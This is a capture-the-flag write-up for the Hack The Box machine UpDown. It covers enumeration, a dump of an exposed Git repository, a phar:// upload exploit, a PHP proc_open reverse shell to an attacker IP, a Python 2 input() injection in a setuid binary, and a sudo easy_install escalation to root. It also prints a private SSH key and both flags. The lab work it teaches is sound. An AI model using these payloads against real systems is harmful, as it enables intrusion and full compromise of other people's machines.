Join The Best Hacking Community Worldwide | Hack The Box
Over half a million platform members exhange ideas and methodologies. Be one of us and help the community grow even further!
www.hackthebox.com
Enumeration
Nmap
Run a nmap scan
ports=$(nmap -p- --min-rate=1000 -T4 10.129.1.118 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.1.118└─$ nmap -sC -sV -Pn -v 10.129.1.118
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
|   256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_  256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Is my Website up ?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The Nmap scan shows that ports 22 (SSH) and 80 (HTTP) are open. We'll start by visiting the website hosted on port 80 to explore its content.
How many open TCP ports are listening on UpDown? 2
HTTP
When accessing http://10.129.145.138, we find a main page featuring the domain name siteisup.htb.
The web application seems to offer a service to check if a particular website is accessible. There's also a domain name displayed in the bottom left, which we'll add to our /etc/hosts file for convenience.
echo "10.129.1.118 siteisup.htb" | sudo tee -a /etc/hostsTo test the web application's behaviour, we enter http://127.0.0.1 in the input field and enable debug mode.
The application sends an HTTP request to the specified URL and displays the response details in the debug section.
Subdomain enumeration
We use ffuf to fuzz for potential virtual hosts, running the following command with a wordlist like subdomains-1000.txt:
ffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -w /usr/share/wordlists/subdomains-1000.txtThe ffuf output returns a 200 status code for every response, regardless of whether the domain actually exists. To address this, we need to filter out responses corresponding to non-existent virtual hosts. We can achieve this by using the -fs flag to filter by response size. Since invalid responses have a size of 1131 bytes, we use:
       /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
       v2.1.0-dev
________________________________________________
 :: Method           : GET
 :: URL              : http://siteisup.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/subdomains-1000.txt
 :: Header           : Host: FUZZ.siteisup.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
support                 [Status: 200, Size: 1131, Words: 186, Lines: 40, Duration: 188ms]
mysql                   [Status: 200, Size: 1131, Words: 186, Lines: 40, Duration: 189ms]
ns1                     [Status: 200, Size: 1131, Words: 186, Lines: 40, Duration: 190ms]
sql                     [Status: 200, Size: 1131, Words: 186, Lines: 40, Duration: 190ms]
ftp                     [Status: 200, Size: 1131, Words: 186, Lines: 40, Duration: 190ms]ffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -w /usr/share/wordlists/subdomains-1000.txt -fs 1131
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
       v2.1.0-dev
________________________________________________
 :: Method           : GET
 :: URL              : http://siteisup.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/subdomains-1000.txt
 :: Header           : Host: FUZZ.siteisup.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 1131
________________________________________________
dev                     [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 140ms]The fuzzer discovers the dev subdomain, so we add it to our /etc/hosts file to facilitate access:
echo "10.129.1.118    dev.siteisup.htb" | sudo tee -a /etc/hostsThe fuzzer's output also indicates a status code of 403, which means our current access is denied for the dev subdomain. We'll need to find a way to bypass this restriction, possibly by looking for credentials, misconfigurations, or vulnerabilities.
Directory Enumeration
For now, we'll put the dev subdomain aside and conduct further enumeration on the initial domain. We'll use feroxbuster to search for hidden directories:
feroxbuster --url http://siteisup.htb --wordlist=/usr/share/wordlists/dirb/common.txt|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://siteisup.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      320l      675w     5531c http://siteisup.htb/stylesheet.css
200      GET       40l       93w     1131c http://siteisup.htb/
301      GET        9l       28w      310c http://siteisup.htb/dev => http://siteisup.htb/dev/
200      GET        1l        2w       21c http://siteisup.htb/dev/.git/HEAD
200      GET       40l       93w     1131c http://siteisup.htb/index.php
200      GET        0l        0w        0c http://siteisup.htb/dev/index.php
[####################] - 21s     9233/9233    0s      found:6       errors:0      
[####################] - 16s     4614/4614    286/s   http://siteisup.htb/ 
[####################] - 13s     4614/4614    345/s   http://siteisup.htb/dev/    We discover that a .git directory exists. If the .git folder is exposed, we may be able to retrieve part or all of the Git repository. To attempt this, we can use git-dumper with the following command:
git-dumper http://siteisup.htb/.git /path/to/output-directorygit-dumper http://siteisup.htb/dev/.git dev[-] Testing http://siteisup.htb/dev/.git/HEAD [200]
[-] Testing http://siteisup.htb/dev/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://siteisup.htb/dev/.git/ [200]
[-] Fetching http://siteisup.htb/dev/.gitignore [404]
[-] http://siteisup.htb/dev/.gitignore responded with status code 404
[-] Fetching http://siteisup.htb/dev/.git/packed-refs [200]
[-] Fetching http://siteisup.htb/dev/.git/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/description [200]
[-] Fetching http://siteisup.htb/dev/.git/branches/ [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/ [200]
[-] Fetching http://siteisup.htb/dev/.git/config [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/ [200]
[-] Fetching http://siteisup.htb/dev/.git/index [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/heads/ [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/post-update.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/remotes/ [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/commit-msg.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-commit.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/tags/ [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-receive.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-push.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/update.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/info/ [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/pack/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/remotes/origin/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/heads/main [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/pack/pack-30e4e40cb7b0c696d1ce3a83a6725267d45715da.idx [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/pack/pack-30e4e40cb7b0c696d1ce3a83a6725267d45715da.pack [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/remotes/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/heads/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/remotes/origin/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/remotes/origin/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/heads/main [200]
[-] Fetching http://siteisup.htb/dev/.git/info/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/remotes/origin/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/info/exclude [200]
[-] Running git checkout .
Updated 6 paths from the index
The git-dumper tool successfully dumps the repository into a directory named dev, allowing us to run Git commands and examine the files.
Among the files, we find .htaccess, an Apache configuration file that can be used for various administrative functions such as redirecting traffic, blocking users, and password-protecting directories. This file might contain valuable information for bypassing access restrictions or understanding the server configuration.
└─$ ls -la 
total 40
drwxrwxr-x 3 kali kali 4096 Oct 22 03:56 .
drwxrwxr-x 3 kali kali 4096 Oct 22 03:56 ..
-rw-rw-r-- 1 kali kali   59 Oct 22 03:56 admin.php
-rw-rw-r-- 1 kali kali  147 Oct 22 03:56 changelog.txt
-rw-rw-r-- 1 kali kali 3145 Oct 22 03:56 checker.php
drwxrwxr-x 7 kali kali 4096 Oct 22 03:56 .git
-rw-rw-r-- 1 kali kali  117 Oct 22 03:56 .htaccess
-rw-rw-r-- 1 kali kali  273 Oct 22 03:56 index.php
-rw-rw-r-- 1 kali kali 5531 Oct 22 03:56 stylesheet.css└─$ cat .htaccess
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-HeaderIn this case, the .htaccess file specifies that an HTTP header named Special-Dev with the value only4dev is required to access the developer site. Requests without this header are denied. With this information, we can now attempt to access the dev subdomain, which previously returned a 403 status code during our initial enumeration.
What is the relative path to a directory on the main site that contains an exposed Git repository? /dev
Foothold
To gain access to the dev subdomain, we need to add the special HTTP header for every request. While we could add it manually each time, BurpSuite offers a convenient way to automate this process.
In BurpSuite, navigate to Proxy -> Options and scroll down to the Match and Replace section. Here, we can add a new rule:
- Leave the "Match" field empty to ensure the rule is applied universally.
- In the "Replace" field, add the header: Special-Dev: only4dev.
This configuration will automatically insert the required header into every request, allowing seamless access to the dev subdomain without having to manually add it each time.
By configuring BurpSuite to add the required header automatically, we can now access the developer subdomain (dev.siteisup.htb). This site has a similar structure and functionality to the main website.
To access dev.siteisup.htb, the Special-Dev header must be set to only4dev.
Now, open a browser configured with BurpSuite as the proxy and navigate to:
http://dev.siteisup.htbAlternatively, you can use Firefox with the BurpSuite proxy enabled. To do this:
- Open Firefox and ensure that it is configured to use BurpSuite as its proxy.
- Navigate to:
http://dev.siteisup.htbWith BurpSuite set up to add the Special-Dev: only4dev header automatically, you should be able to access the developer subdomain successfully.
Unlike the initial website, the developer subdomain (beta version) requires a file containing a list of websites to check. Fortunately, we have access to the source code of this dev web application from the repository we dumped earlier.
Let's begin by examining index.php to understand the functionality and any potential vulnerabilities:
└─$ cat index.php
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
        define("DIRECTACCESS",false);
        $page=$_GET['page'];
        if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
                include($_GET['page'] . ".php");
        }else{
                include("checker.php");
        }
?>The index.php source code uses the PHP include() function, which can be dangerous as it may lead to vulnerabilities like Local File Inclusion (LFI) or even Remote Code Execution (RCE). The inclusion is controlled by the $_GET['page'] parameter, but there's a filter preventing access to directories such as /etc and /home. If the page parameter is not provided, the script defaults to including checker.php.
Next, let's examine the source code of checker.php to understand its functionality and identify any potential vulnerabilities:
What GET parameter on the dev site is used to define what page is "included"? page
...
if($_POST['check']){
  
        # File size must be less than 10kb.
        if ($_FILES['file']['size'] > 10000) {
        die("File too large!");
    }
        $file = $_FILES['file']['name'];
        # Check if extension is allowed.
        $ext = getExtension($file);
        if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
                die("Extension not allowed!");
        }
  
        # Create directory to upload our file.
        $dir = "uploads/".md5(time())."/";
        if(!is_dir($dir)){
        mkdir($dir, 0770, true);
    }
  
  # Upload the file.
        $final_path = $dir.$file;
        move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
  # Read the uploaded file.
        $websites = explode("\n",file_get_contents($final_path));
        foreach($websites as $site){
                $site=trim($site);
                if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
                        $check=isitup($site);
                        if($check){
                                echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
                        }else{
                                echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
                        }
                }else{
                        echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
                }
        }
  # Delete the uploaded file.
        @unlink($final_path);
}
...
When files are uploaded to the dev website, they are moved into a directory in the uploads directory. That directory name is the hash of the output of what PHP function? time
The web application checks the uploaded file's size, ensuring it is less than 10KB, and restricts certain file extensions (e.g., .php and .py). However, it doesn't blacklist .phar files, which can also be used to achieve remote code execution, as .phar files can contain bundled PHP scripts. This oversight highlights the importance of whitelisting allowed extensions rather than relying on blacklisting to prevent malicious uploads.
To exploit this, we can create a PHP file that calls the phpinfo() function. This will help us understand the server environment if successfully executed. Let's create and save it as info.php:
echo "<?php phpinfo(); ?>" > info.phpTo proceed, we need to compress the info.phar file into a .zip archive and then rename it with a .txt extension, since .zip files are blacklisted by the application. By doing this, we can later leverage the phar:// PHP wrapper to access the contents of the uploaded archive and execute our phpinfo() payload.
zip info.zip info.php
mv info.zip info.txtWhat PHP filter allows for accessing files inside of PHP archives (and also Zips)? phar://
After successfully uploading info.txt, we navigate to:
http://dev.siteisup.htb/uploads/This is where we use the phar:// wrapper to trigger our payload. By navigating to:
http://dev.siteisup.htb/?page=phar://uploads/f2741df7fa0564e940585c5f38c69edb/info.txt/infoThe successful execution of our payload means we have Remote Code Execution (RCE), allowing us to run arbitrary PHP code. However, the phpinfo() page indicates that functions like system(), shell_exec(), and popen() are disabled. This limits our ability to directly execute OS commands, so we'll need to find an alternative method to gain a foothold on the target.
Searching online for ways to bypass disabled_functions in PHP leads us to a tool called dfunc-bypasser. This tool automatically loops through an array of potentially dangerous functions that could lead to a reverse shell and checks if any of them are enabled on the target. Before running the tool, we need to ensure that it includes the required Special-Dev HTTP header.
In the dfunc-bypasser.py file, on line 38, we find the following code:
if(args.url):
url = args.url
phpinfo = requests.get(url).textAfter adding the Special-Dev header as a parameter in the script, we proceed to run it:
if(args.url):
url = args.url
phpinfo = requests.get(url, headers={"Special-dev":"only4dev"}).textpython dfunc-bypasser.py --url 'http://dev.siteisup.htb/?
page=phar://uploads/f2741df7fa0564e940585c5f38c69edb/info.txt/info'However, after multiple attempts to modify the script to include the Special-Dev header, I continued to encounter the following error:
Traceback (most recent call last):
  File "dfunc-bypasser.py", line 51, in <module>
    inp = phpinfo.split('disable_functions</td><td class="v">')[1].split("</")[0].split(',')[:-1]
IndexError: list index out of range
At this point, I followed IppSec’s approach by creating a dangerous.php file and uploading it to the server. 
nano dangerous.php<?php
$dangerous_functions = array ('pcntl_alarm','pcntl_fork','pcntl_waitpid','pcntl_wait','pcntl_wifexited','pcntl_wifstopped','pcntl_wifsignaled','pcntl_wifcontinued','pcntl_wexitstatus','pcntl_wtermsig','pcntl_wstopsig','pcntl_signal','pcntl_signal_get_handler','pcntl_signal_dispatch','pcntl_get_last_error','pcntl_strerror','pcntl_sigprocmask','pcntl_sigwaitinfo','pcntl_sigtimedwait','pcntl_exec','pcntl_getpriority','pcntl_setpriority','pcntl_async_signals','error_log','system','exec','shell_exec','popen','proc_open','passthru','link','symlink','syslog','ld','mail');
// Loop through dangerous_functions and print if it is enabled
foreach ($dangerous_functions as $function) {
    if (function_exists($function)) {
        echo $function . " is enabled";
    }
}Zip dangerous.php as test.jpeg
$ zip test.jpeg dangerous.php 
  adding: dangerous.php (deflated 58%)Upload test.jpeg and navigate to /uploads
After successfully uploading test.jpeg, I navigated to:
http://dev.siteisup.htb/?page=phar://uploads/0a9a386e0bc076a2f05c2cfc34b83c7c/test.jpeg/dangerousThe output from the dfunc-bypasser script suggests that we may be able to use proc_open() to execute commands, as this function is not disabled on the target server. According to the PHP documentation, proc_open() is similar to popen() and can be used to execute arbitrary commands.
With the knowledge that proc_open() is not disabled, I created a reverse shell payload using the following PHP code:
php
Copy code
<?php
$descriptorspec = array(
    0 => array('pipe', 'r'), // stdin
    1 => array('pipe', 'w'), // stdout
    2 => array('pipe', 'a')  // stderr
);
$cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.3/443 0>&1'";
$process = proc_open($cmd, $descriptorspec, $pipes, null, null);
?>To prepare and upload this payload:
- Write the payload to a file called rev.php.
- Compress rev.phpinto a.ziparchive and rename it to have a whitelisted extension:
- Upload rev.txtto the server.
- Set up a Netcat listener on port 443:
- Trigger the payload by navigating to:
zip rev.zip rev.php
mv rev.zip rev.txtnc -nvlp 443http://dev.siteisup.htb/?page=phar://uploads/d0b4e04278260b970e995e4bf58b25a9/rev.txt/revAfter accessing the URL, I successfully received a reverse shell as the www-data user:
└─$ nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.1.118] 48502
bash: cannot set terminal process group (896): Inappropriate ioctl for device
bash: no job control in this shell
www-data@updown:/var/www/dev$ whoami
whoami
www-data
www-data@updown:/var/www/dev$ hostname
hostname
updownWith this shell, I gained initial access to the target system as the www-data user.
Lateral Movement
After gaining an initial foothold, I started exploring the system further. By reading the contents of /etc/passwd, I found that there is a user called developer:
cat /etc/passwd | grep -v -e false -e nologin -e syncThe /etc/passwd file lists users along with their default shell. The command above filters out users whose shell is false, nologin, or sync, leaving only users with valid login shells. Here's the output:
root:x:0:0:root:/root:/bin/bash
developer:x:1002:1002::/home/developer:/bin/bashSeeing that developer has /bin/bash as their shell, I decided to visit their home directory:
cd /home/developer/
ls -lThis showed the following contents:
ls -l
total 8
drwxr-x--- 2 developer www-data  4096 Jun 22  2022 dev
-rw-r----- 1 root      developer   33 Oct 22 07:16 user.txtThe home directory contains a folder named dev, which is owned by the group www-data. Since I had access as www-data, I could enter this folder:
cd dev/
ls -lThe contents of the dev directory were:
ls -l
total 24
-rwsr-x--- 1 developer www-data 16928 Jun 22  2022 siteisup
-rwxr-x--- 1 developer www-data   154 Jun 22  2022 siteisup_test.pyIn the dev folder, there are two files: a Python script (siteisup_test.py) and a setuid executable (siteisup). When an executable has the setuid permission set, it runs with the privileges of the file owner—in this case, developer.
Next, I examined the contents of the Python script:
cat siteisup_test.pyimport requests
url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
        print "Website is up"
else:
        print "Website is down"What is the name of the ELF binary that is owned by the developer user and has the SetUID bit enabled? siteisup
The Python script (siteisup_test.py) takes input for a URL using the built-in input() function. In Python 2, input() is insecure, acting similarly to eval(), which can execute arbitrary code.
The script appears to be running with Python 2 since the print statements don't have parentheses. I attempted to exploit this by injecting the following payload:
__import__('os').system('/bin/bash')This command imports the os module and uses system() to execute a bash shell. I ran the setuid executable (siteisup) and injected the payload:
./siteisup
__import__('os').system('/bin/bash')
python3 -c 'import pty;pty.spawn("/bin/bash")'The following output confirmed that the payload was executed successfully, and I obtained a shell as the developer user:
www-data@updown:/home/developer/dev$ ./siteisup
./siteisup
__import__('os').system('/bin/bash')
id
uid=1002(developer) gid=33(www-data) groups=33(www-data)
python3 -c 'import pty;pty.spawn("/bin/bash")'
developer@updown:/home/developer/dev$ Now that I had a shell as developer, I checked their home directory and found the private SSH key at /home/developer/.ssh/id_rsa. I used the following command to read the key:
cat /home/developer/.ssh/id_rsa-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----I copied the key locally and saved it as id_rsa, then set the correct permissions:
chmod 600 id_rsaUsing the key, I connected to the target as developer:
ssh -i id_rsa developer@siteisup.htbOnce connected, I was able to find the user flag at /home/developer/user.txt:
developer@updown:~$ cat /home/developer/user.txt
1cef17a95791cbba22a90364207ecb98Privilege Escalation
After logging in via SSH as the developer user, I checked if developer had any permissions to run commands as another user using sudo. To do this, I ran:
sudo -lMatching Defaults entries for developer on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install
What is the full path to the program that developer can run as root using sudo? /usr/local/bin/easy_install
The output of sudo -l showed that the developer user can run easy_install without a password. GTFOBins, a resource for privilege escalation techniques, reveals that easy_install can be exploited to gain a root shell.
According to GTFOBins, easy_install can be used to execute arbitrary Python code. Since we have sudo access, we can leverage this to run a Python command with root privileges.
The proof of concept shown above involves using easy_install to escalate privileges and gain a root shell by executing a Python script. Here's how it works:
- Create a Temporary Directory: A temporary directory is created to hold our malicious Python script:
- Create Python Payload: A Python script (setup.py) is created in the temporary directory. This script imports theosmodule and usesos.execl()to spawn a/bin/shshell:
- Run the Script with Elevated Privileges: The final step is to use sudo easy_installto "install" the Python script we just created. Sincedevelopercan runeasy_installwithsudoprivileges, this triggers the Python script and spawns a shell asroot:
TF=$(mktemp -d)echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.pysudo easy_install $TFRunning these commands gave us a root shell. The output looked like this:
developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.pbuJvVnWuE
Writing /tmp/tmp.pbuJvVnWuE/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.pbuJvVnWuE/egg-dist-tmp-zKETQh
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
a8162ba886fd81cd65cc29b959a2d7c5We successfully obtained a shell as root and retrieved the final flag at /root/root.txt. This shows how misconfigurations in allowed sudo commands can be exploited to escalate privileges and gain complete control over the system.
References
- Hack The Box Official Writeup for Updown
- https://youtu.be/yW_lxWB1Yd0?si=hPJDHKOjc9sSOeuo